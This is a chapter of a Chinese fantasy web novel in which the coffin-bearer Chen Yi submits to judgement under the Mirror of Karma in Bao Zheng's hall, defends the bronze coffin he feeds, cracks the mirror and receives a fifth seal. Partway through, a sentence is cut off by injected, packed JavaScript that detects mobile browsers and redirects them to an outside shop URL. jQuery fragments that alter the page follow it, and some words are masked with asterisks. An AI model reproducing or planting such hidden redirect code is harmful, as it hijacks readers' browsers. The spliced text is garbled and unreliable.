第189章 我于孽镜台前,审判漫天神佛!

作品:《让你抬棺,没让你龙抬头啊!

    四印悬空,光华流转,彼此泾渭分明,又相互牵制。


    秦广王的幽冥司命印,是生死簿上的第一笔,威严厚重。


    楚江王的寒冰地狱印,寒气森然,仿佛能冻结灵魂。


    宋帝王的黑绳地狱印,缠绕着肉眼不可见的因果业力。


    五官王的功德天平印,散发着绝对公正的冰冷光芒。


    四股阎罗权柄,如同四头闯入森罗殿的洪荒巨兽,与此地固有的铁律法理激烈冲撞。


    空气中,爆出无数细碎的火星,那是规则与规则的对撞声。


    大殿两侧的文武判官们,鬼体明灭不定,神情已经不能用骇然形容。


    他们第一次看见,森罗殿的绝对秩序,竟然被外力撼动到如此地步。


    包拯端坐高台,那张亘古不变的铁面,此刻也蒙上了一层阴翳。


    他的视线在四枚大印和陈义的脸上缓缓移动,眼神深邃如不见底的寒潭。


    他失算了。


    他没想到,这个年轻人不仅能把“理”说到“法”的前面去,更能把前面四殿的阎罗,都拉到他的战车上。


    这不再是对错之争。


    这是酆都城内部的……路线之争。


    是继续墨守成规,维持那套已经开始僵化的旧秩序?


    还是睁开眼,承认这种能从根源上解决问题、了结万古因果的“新规矩”?


    胖三看着包拯那张越来越黑的脸,心里已经敲起了得胜的算盘。


    他知道,哥这一手“引援”,直接踹在了对方的命门上。


    是时候,该他这个“金牌法律顾问”登场了。


    “咳,那个……包大人呐。”胖三往前蹭了半步,腆着肚子,努力挤出一个专业而谄媚的笑。


    “您看,这事儿吧,往小了说,就是个工程款结算问题。”


    “我们义字堂,属于是‘地府特殊危机公关外聘团队’,镇魔狱这种烂尾了五千年的项目,我们给盘活了,这是不是双赢?”


    “我们帮您平事儿,您把阎罗印这笔‘尾款’结了,这叫‘契约精神’!现在阳间做生意都讲究这个,您是司法界的老前辈,您比我懂。要是连地府都拖欠工程款,这要是上了热搜……嘿嘿,影响多不好。”


    他这番话,看似胡闹,却把陈义之前“天地之约”的宏大叙事,巧妙地拉低到了一个谁都听得懂的“商业逻辑”层面。


    包拯没搭理他,目光依旧如铁钉般,死死锁着陈义。


    “就算你的‘理’站得住脚,前面四殿也为你背书。”


    包拯的声音,每一个字都像是从法典上抠下来的,沉重,且带着不容辩驳的力道。


    “但你,终究是在我的森罗殿,用你的规-矩,挑衅我的法-理。”


    “森罗殿的威严,不容动摇。”


    “本王,不能就这么把印交给你。”


    陈义笑了。


    他知道,对方已经从“法”的层面,退到了“脸”的层面。


    现在要的,无非是一个台阶。


    “那依王上的意思,要如何?”


    包拯缓缓起身。


    他高大的身影投下浓重的阴影,瞬间笼罩了整座大殿。


    “森罗殿前,有孽镜台,可照世间一切善恶,可辨人心一切真伪。”


    他抬手,指向头顶那面仿佛与黑暗融为一体的巨大铜镜。


    “你,敢不敢,站在孽镜台下,让它照一照?”


    “若你身无大恶,心无大愧,所行之事,皆如你所言,是为了了结因果,顺应天道。那么,本王这枚‘森罗法理印’,双手奉上。”


    “但……”


    他话锋陡然转冷,声音像是审判的铡刀落下。


    “若你心中有愧,行事有私,哪怕只有一丝一毫的瑕疵被它照出,你和你这几个兄弟,便永世化为镜中浮雕,成为警示后人的一部分。”


    “你,敢吗?”


    话音落下,大殿内死一般的寂静。


    胖三、大牛等人的心跳,仿佛都在这一刻停止了。


    孽镜台!


    地府最不讲道理的法器!


    传说就算是**的金身罗汉,在它面前也照样能被扒出一生中动过的凡心、犯过的嗔戒。


    人非圣贤,孰能无过?


    这根本就是一个必死的局!


    “哥!不能答应!”胖三急得肥肉乱颤,“这玩意儿是高清摄像头加云端数据库,它连你小时候偷看隔壁王寡妇洗澡都能给你现场直播!这没法玩啊!”


    陈义瞥了他一眼。


    “我没偷看过。”


    胖三一噎:“……”


    “重点不是这个!”胖三压着嗓子吼道,“重点是没人是完美的!他这是阳谋,是给咱下套呢!”


    陈义没再理他,而是抬头,仰望着那面深不见底的孽镜台。


    他的眼神里,没有半分畏惧,反而燃烧起一丝近乎挑衅的好奇与战意。


    “好。”


    他只说了一个字。


    “哥!”


    大牛和猴子等人齐声惊呼,几乎要冲上来。


    陈义抬手,制止了他们。


    “我这一生,抬棺无数。”


    “抬过英雄,抬过恶棍,抬过富甲一方,也抬过穷困潦倒。”


    他的声音在空旷死寂的大殿中回荡,无比清晰。


    “我只认我的规矩:棺材落地,死者为安。我从不问棺中人生前功过,那不归我管,我只负责送他们走完最后一程。”


    “我所做的每一件事,或许在你们的‘法’看来有瑕疵,但在我自己的‘规矩’里,我问心无愧。”


    他转过身,看着自己的兄弟们,脸上是一抹坦然到极致的笑容。


    “义字堂的规矩,就是我的规矩。我若有愧,便是对不起这个‘义’字,对不起你们。”


    说完,他转身,不再有丝毫犹豫。


    一步,一步,走向大殿中央,走向那孽镜台的正下方。


    万千目光,聚焦于他一人之身。


    包拯的眼神,前所未有的凝重。


    当陈义在那片区域站定的瞬间,头顶的孽镜台,轰然亮起!


    一道液态水银般的冷光从天而降,将陈义完全包裹。


    镜面之中,光影流转,开始倒带陈义的一生。


    从他幼时跟爷爷学习抬棺手艺,背诵那些古老禁忌;到他第一次做杠头,抬起那口千斤黑棺;再到他为守护“义字堂”的招牌,与三教九流周旋……


    一幕一幕,飞速闪过。


    泰山之巅,他为历代帝王送葬,镜光清澈,毫无瑕疵。


    长城之上,他以身为匠,偿还两千年亡魂的血汗工钱,镜中万千魂魄叩拜,金光璀璨。


    昆仑地心,他熔炼龙鳞,为神州龙脉接骨续命,镜光浩然,正气冲霄。


    黄帝陵前,他为人皇执绋,**漫天神魔,镜中紫金龙气盘旋,煌煌如日。


    沪上外滩,**邪神。


    东海之上,垂钓龙王。


    秦岭之中,撬拔镇龙钉。


    黄河壶口,抬龙魂出渊。


    三峡大坝,以国运为棺,活葬上古邪祟……


    一桩桩,一件件,皆是逆天之举,皆是补天之行。


    这些行为,在《幽冥律》中,或许条条都是足以打入无间地狱的重罪。


    但在孽镜台的照射下,每一件事的背后,都清晰地浮现出两个字——规矩。


    为护大规矩,才破小规矩。


    为救整片森林,采伐病木几株。


    镜光始终清澈,甚至越来越亮,亮到让两旁的鬼神都不敢直视。


    包拯的呼吸,出现了一丝极细微的紊乱。


    他从未见过,有人能在孽镜台下,展现出如此纯粹的“道心”。


    然而,就在所有人都以为考验即将通过时,镜中画面,骤然一变!


    画面定格!


    京城,苏家老宅,那片伸手不见五指的地下。


    那口巨大、恐怖、散发着无尽吞噬与饥饿欲望的青铜巨棺,赫然出现在镜中!


    嗡——!


    镜光猛地一暗,瞬间变得浑浊不堪!


    一股滔天的、混乱的、混杂着无尽饥饿与毁灭的意志,从镜中喷薄而出,仿佛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110800|192254||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要污染整个森罗殿!


    孽镜台,照出了陈义最大的“私”!


    他所做的一切,固然有守护神州之意,但其最根本的动机,却是为了满足这口青铜巨棺的“食欲”!


    是为了偿还他欠下这口巨棺的恐怖“因果”!


    这,才是他一切行为的起点!


    “哈哈哈!”一声尖锐刺耳的笑声响起,正是那文判官,“包大人您看!他果然有私!他所做的一切,皆为饲养邪棺!此乃大恶!当诛!”


    胖三等人的心,瞬间沉到了不见底的深渊。


    完了!


    包拯的脸色也变得无比冰冷,他握住朱砂笔的手,缓缓抬起,即将落笔定罪。


    陈义却在这时,抬头看着镜中的画面,笑了。


    “你们说,这是我的‘私心’?”


    他指着镜中那口散发着无尽恐怖的青铜巨棺,对着包拯,也对着满殿神明,朗声问道。


    “那我再问你们,这口棺,从何而来?”


    不等回答,他自问自答。


    “它是我陈家祖传之物,是我身为抬棺匠的‘根’!”


    “它代表的,是‘终结’,是‘归墟’!是万事万物最终的宿命!”


    “你们地府,讲轮回,讲秩序。而它,就是秩序之外的‘清理者’!是所有秩序走向崩溃时,最终的保险!”


    “我饲养它,不是私心!”


    “而是我作为当代执绋人,唯一的使命!”


    陈义猛地向前一步,气势滔天,直视包拯!


    “你们的法理,管得了生,管得了死,管得了善恶轮回。但你们管得了‘虚无’吗?管得了‘终结’吗?!”


    “沪上外滩,天道之缺,若非它出手吞噬,半个神州都将化为不存在!那时候,你们的《幽冥律》,找谁说理去?!”


    “我为它奔走,就是为这方天地奔走!”


    “我满足它的饥饿,就是为这方世界,留下最后一条退路!”


    “现在,你们告诉我,这叫不叫私心?!”


    陈义的声音,在孽镜台的光芒下,竟反过来压制了那股浑浊的意志!


    镜光再次剧烈变幻!


    那口青铜巨棺的影像之上,竟缓缓浮现出两个更加古老、更加沧桑、仿佛不属于这个纪元的符文——


    【归藏】!


    当这两个字出现的刹那,包拯手中的朱砂笔,发出一声脆响。


    “啪!”


    断为两截。


    他死死盯着那两个字,脸上第一次,露出了名为“震撼”的表情。


    归藏!


    上古三易,《连山》、《归藏》、《周易》。


    《连山》藏于山,《周易》显于世,而《归藏》……早已失传于太古,它代表的,是万物归于寂灭的至高法则!


    这口棺,竟是《归藏》的具象化?!


    “现在,包阎罗。”


    陈义的声音,将他从震撼中拉回现实。


    “你还要用你的孽镜台,来审判我吗?”


    “或者说……”


    陈义的嘴角,勾起一抹无比桀骜的弧度,仿佛在陈述一个最简单的事实。


    “你这孽镜台,配吗?”


    话音落下的瞬间。


    咔嚓——


    孽镜台发出一声不堪重负的哀鸣,光洁的镜面之上,竟凭空出现了一道细微的裂痕!


    它,审判不了!


    因为陈义所背负的因果,所代表的“道”,比它的“法”,更高!


    包拯看着那道裂痕,又看了看殿下那个昂然挺立,白发如霜的年轻人,许久,他发出了一声悠长的叹息。


    那叹息里,有释然,有敬佩,也有一丝属于旧时代法理的落寞。


    他缓缓走下审判席,来到陈义面前。


    亲手,将一枚通体黝黑,刻着篆文“森罗”,充满了法理威严的方印,递了过去。


    “你赢了。”


    “你的‘规矩’,在本王的‘法理’之上。”


    “这枚‘森罗法理印’,你拿走。”


    陈义伸手,稳稳接过。


    第五枚,到手。